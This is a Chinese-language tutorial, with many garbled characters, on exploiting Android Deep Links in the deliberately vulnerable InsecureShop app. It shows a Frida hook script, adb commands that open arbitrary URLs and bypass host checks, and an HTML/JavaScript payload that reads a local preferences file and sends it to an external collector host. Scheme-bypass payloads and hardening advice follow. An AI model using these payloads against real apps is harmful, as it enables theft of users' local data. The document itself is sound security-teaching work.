目录构造
Deep Link介绍
- 概念
- 利用场景
提取并调用APP中的Deep Link
- 办法一:从AndroidManifest中提取
- 办法二:应用MobSF
- 办法三:应用Frida
- 办法四:网页
- 调用
攻击面剖析
- URL无验证
- 弱主机验证
- 窃取本地数据
其余
- 弱主机验证-升级版
防护倡议
参考链接
1.1. Deep Link介绍
1.1.1. 概念
Android Deep Link(深层链接)
是一种非凡的链接协定,次要用于在应用程序之间导航和交互,应用 Deep Link 能够从一个APP跳转到另一个APP中相应的页面,实现APP间的无缝跳转。
举个大家相熟的例子,浏览器关上知乎时,会提醒“关上App”,点击后,如果装置过知乎则会间接跳到利用的对应页面,如果没装置则跳转到下载利用页。
不过须要留神的是,下面的 *没装置则跳转到下载利用页* 是 Deferred deeplink(提早深度链接)
,他和根底的deeplink相比,如果用户没有下载APP,则疏导用户下载安装该APP,且在装置启动后立刻跳转到指定的页面或性能中。
Deferred Deep Link
能够进步用户的体验和应用程序的转化率,因为它能够让用户间接跳转到指定的页面或性能,而无需手动查找。
1.1.2. 利用场景
- 一键跳转: 在利用外部或利用内部间接跳转到指定页面或执行特定操作的性能。
- 传参装置: 在利用市场或者推广渠道传递参数,以便在用户装置利用后,利用能够依据传递的参数主动进行初始化或者展现特定页面。
- 分享闭环: 在利用内分享一个商品链接,用户点击链接能够间接跳转到商品详情页面。
- 无码邀请: 在利用内点击邀请好友的按钮,能够生成一个惟一的邀请链接,并在邀请过程中跳转到利用内的注册页面。
- 渠道追踪: 通过deeplink跳转到利用市场,能够记录该用户从哪个推广渠道下载利用,并将该信息传递给利用后盾进行数据统计和剖析。
1.2. 提取并调用APP中的Deep Link
测试APP:https://github.com/hax0rgb/InsecureShop/releases
1.2.1. 办法一:从AndroidManifest中提取
在AndroidManifest.xml
中寻找android:scheme
能够看出,应用insecureshop://com.insecureshop/
能够启动com.insecureshop.WebViewActivity
这个组件。
1.2.2. 办法二:应用MobSF
1.2.3. 办法三:应用Frida
通过frida hook进行监听,js脚本如下
//Modified version of <https://codeshare.frida.re/@leolashkevych/android-deep-link-observer/>//frida -U -p pid -l script.js// Define a global object to store previously seen intentsvar seenIntents = {};Java.perform(function() { var Intent = Java.use("android.content.Intent"); Intent.getData.implementation = function() { var action = this.getAction() !== null ? this.getAction().toString() : false; if (action) { // Create a unique key for the current intent by concatenating its action and data URI var key = action + '|' + (this.getData() !== null ? this.getData().toString() : ''); // Check if this intent has been seen before if (seenIntents.hasOwnProperty(key)) { return this.getData(); } else { // Mark this intent as seen by adding it to the global object seenIntents[key] = true; console.log("[*] Intent.getData() was called"); console.log("[*] Activity: " + (this.getComponent() !== null ? this.getComponent().getClassName() : "unknown")); console.log("[*] Action: " + action); var uri = this.getData(); if (uri !== null) { console.log("\\n[*] Data"); uri.getScheme() && console.log("- Scheme:\\t" + uri.getScheme() + "://"); uri.getHost() && console.log("- Host:\\t\\t/" + uri.getHost()); uri.getQuery() && console.log("- Params:\\t" + uri.getQuery()); uri.getFragment() && console.log("- Fragment:\\t" + uri.getFragment()); console.log("\\n\\n"); } else { console.log("[-] No data supplied."); } } } return this.getData(); }});
hook
# 找到system的pidfrida-ps -U | grep system_server# hookfrida -U -l deeplink.js -p 7309
1.2.4. 办法四:网页
这个办法不是很好用,然而有助于在开掘的时候发现一些deep link
还是以知乎为例,关上控制台,点击“关上APP”后,观察报错,就能够拿到对应的deep link。
1.2.5. 调用
个别为了不便,应用adb
进行调用,命令如下:
adb shell am start -W -a android.intent.action.VIEW -d <deeplink>
也能够写一个html,而后让手机拜访后点击调用(模仿实在的攻打环境)
<a href="<deeplink>">Click</a>
然而调用前,咱们还须要拿到对应的路由和参数,跟踪到对应的组件中,剖析如何结构,详见下方举例。
1.3. 攻击面剖析
还是须要依据具体情况具体分析,看本人可控的局部有哪些。
1.3.1. URL无验证
齐全没有验证加载的URL地址。
剖析如图:
- 如果路由是
/web
,则会进入else
中 - 从参数
url
中取值给data - 通过
webview
加载data
所以利用调用的命令如下:
adb shell am start -W -a android.intent.action.VIEW -d "insecureshop://com.insecureshop/web?url=https://blog.gm7.org/"
成果如下,胜利关上了我的博客
1.3.2. 弱主机验证
验证了HOST,但能够被绕过。
剖析如图:
- 路由不是
/web
但路由是/webview
- 从参数
url
中取值给queryParameter
- 判断
queryParameter
是否以insecureshopapp.com
结尾的 - 如果是,就把url的值赋值给data
- 通过
webview
加载data
这里只是要求了结尾必须呈现特定的字符串,所以很简略,如:
adb shell am start -W -a android.intent.action.VIEW -d "insecureshop://com.insecureshop/webview?url=https://blog.gm7.org/?insecureshopapp.com"
就是惯例的URL跳转绕过,能够用?
,也能够用#
,还能够用参数格局a=insecureshopapp.com
等等。
1.3.3. 窃取本地数据
在下面2个根底上进行深刻利用,但我感觉有点鸡肋,因为http协定无奈跨域到file协定,就只能从file协定跨到file协定
上述2处其实都和URL跳转差不多,能够管制跳转到任意网站中,但这里因为是在手机客户端上执行的,所以也能够尝试通过file
协定拜访到手机本地的一些敏感文件,从而尝试窃取。
不过要窃取本地文件,有2个前置条件:
setAllowUniversalAccessFromFileURLs(true)
:默认状况下,Android WebView不容许跨域拜访本地文件系统,即getAllowUniversalAccessFromFileURLs()
办法的返回值为false
,如果要在WebView中容许跨域拜访本地文件系统,则须要应用setAllowUniversalAccessFromFileURLs()
办法来设置该选项为true
setJavaScriptEnabled(true)
:默认状况下,WebView 不反对 JavaScript代码执行,如果想要反对js代码,就须要调用setJavaScriptEnabled(true)
这个办法,开启js代码执行。
在破绽环境中,这两个条件都是满足的,也就能够开始窃取了。
假如存在敏感文件:/data/data/com.insecureshop/shared_prefs/Prefs.xml
而后咱们进行加载敏感文件:
adb shell am start -W -a android.intent.action.VIEW -d "insecureshop://com.insecureshop/web?url=file:///data/data/com.insecureshop/shared_prefs/Prefs.xml"
如下图,能拜访到本地的文件。
但仅仅是这样还不够,因为只能拜访到,不能说是窃取了,因而须要进一步通过js来获取数据。
编写html,将其保留为hello.html
<script type="text/javascript"> function theftFile(path, callback) { var req = new XMLHttpRequest(); req.open("GET", "file://" + path, true); req.onload = function(e) { callback(req.responseText); } req.onerror = function(e) { callback(null); } req.send(); } var file = "/data/data/com.insecureshop/shared_prefs/Prefs.xml"; theftFile(file, function(contents) { location.href = "http://x42yrqsoq9fo74gv3bqtbfhfx63yrn.oastify.com/?data=" + encodeURIComponent(contents); }); </script>
将其上传到可拜访的目录下,而后通过webview来加载这个html
adb shell am start -W -a android.intent.action.VIEW -d "insecureshop://com.insecureshop/web?url=file:///data/data/com.insecureshop/shared_prefs/hello.html"
胜利获取到了数据。
Note
这里只能从file协定到file协定才能够胜利,如果从http协定到file协定,异样日志为:Cross origin requests are only supported for protocol schemes: http, data, chrome, https.
所以这里也是为什么认为利用比拟鸡肋的中央。
1.3.4. 其余
弱主机验证-升级版
通过uri.getHost()
获取host
private boolean isValidUrl(String url) { Uri uri = Uri.parse(url); return "legitimate.com".equals(uri.getHost());}
绕过payload,通过其余协定。
javascript://legitimate.com/%0aalert(1)file://legitimate.com/sdcard/exploit.htmlcontent://legitimate.com/
1.4. 防护倡议
- 对传入的内容进行查看荡涤,依据业务要求设置白名单等。
- 如果
setJavaScriptEnabled
设置为true
,则要对加载的JS内容严格验证。 尽可能的将如下函数的返回值设置为False
getAllowFileAccess
getAllowFileAccessFromFileURLs
getAllowUniversalAccessFromFileURLs
1.5. 参考链接
- Android Deep Link Issues And WebView Exploitation | 8kSec Blogs
- Android security checklist: WebView